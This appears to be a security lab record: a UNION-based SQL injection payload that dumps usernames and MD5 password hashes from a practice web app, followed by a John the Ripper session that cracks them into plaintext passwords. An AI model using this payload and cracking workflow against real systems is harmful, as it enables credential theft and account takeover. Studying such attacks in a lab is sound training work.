

## Vulnerability: SQL Injection

User ID:

ID: 'UNION SELECT user, password FROM users #  
First name: admin  
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: 'UNION SELECT user, password FROM users #  
First name: gordonb  
Surname: e99a18c428cb38d5f260853678922e03

ID: 'UNION SELECT user, password FROM users #  
First name: 1337  
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: 'UNION SELECT user, password FROM users #  
First name: pablo  
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: 'UNION SELECT user, password FROM users #  
First name: smithy  
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

The screenshot shows a Kali Linux desktop environment. On the left, a terminal window displays the output of a password cracking session using John the Ripper. The session has successfully cracked five passwords: password, password, abc123, letmein, and charley. The terminal output includes the command used: `john --show --format=raw-md5 both.txt`. On the right, a file editor window shows the contents of `both.txt`, which lists the cracked passwords and their corresponding MD5 hashes: `admin: 5f4dcc3b5aa765d61d8327deb882cf99`, `gordonb: e99a18c428cb38d5f260853678922e03`, `1337: 8d3533d75ae2c3966d7e0d4fcc69216b`, `pablo: 0d107d09f5bbe40cade3de5c71e9e9b7`, and `smithy: 5f4dcc3b5aa765d61d8327deb882cf99`.

```
kali@kali: ~/Desktop
password (?)
password (?)
abc123 (?)
letmein (?)
Proceeding with incremental:ASCII
charley (?)
5g 0:00:00:00 DONE 3/3 (2024-01-10 10:54) 11.11g/s 396333p/s 396333c/s 399746C/s
stevy13..candake
Use the "--show --format=Raw-MD5" options to display all of the cracked password
s reliably
Session completed.

(kali@kali)-[~/Desktop]
$ john --show --format=raw-md5 both.txt
?:password
?:abc123
?:charley
?:letmein
?:password

5 password hashes cracked, 0 left

(kali@kali)-[~/Desktop]
$
```

both.txt  
~/Desktop

```
admin: 5f4dcc3b5aa765d61d8327deb882cf99
gordonb: e99a18c428cb38d5f260853678922e03
1337: 8d3533d75ae2c3966d7e0d4fcc69216b
pablo: 0d107d09f5bbe40cade3de5c71e9e9b7
smithy: 5f4dcc3b5aa765d61d8327deb882cf99
```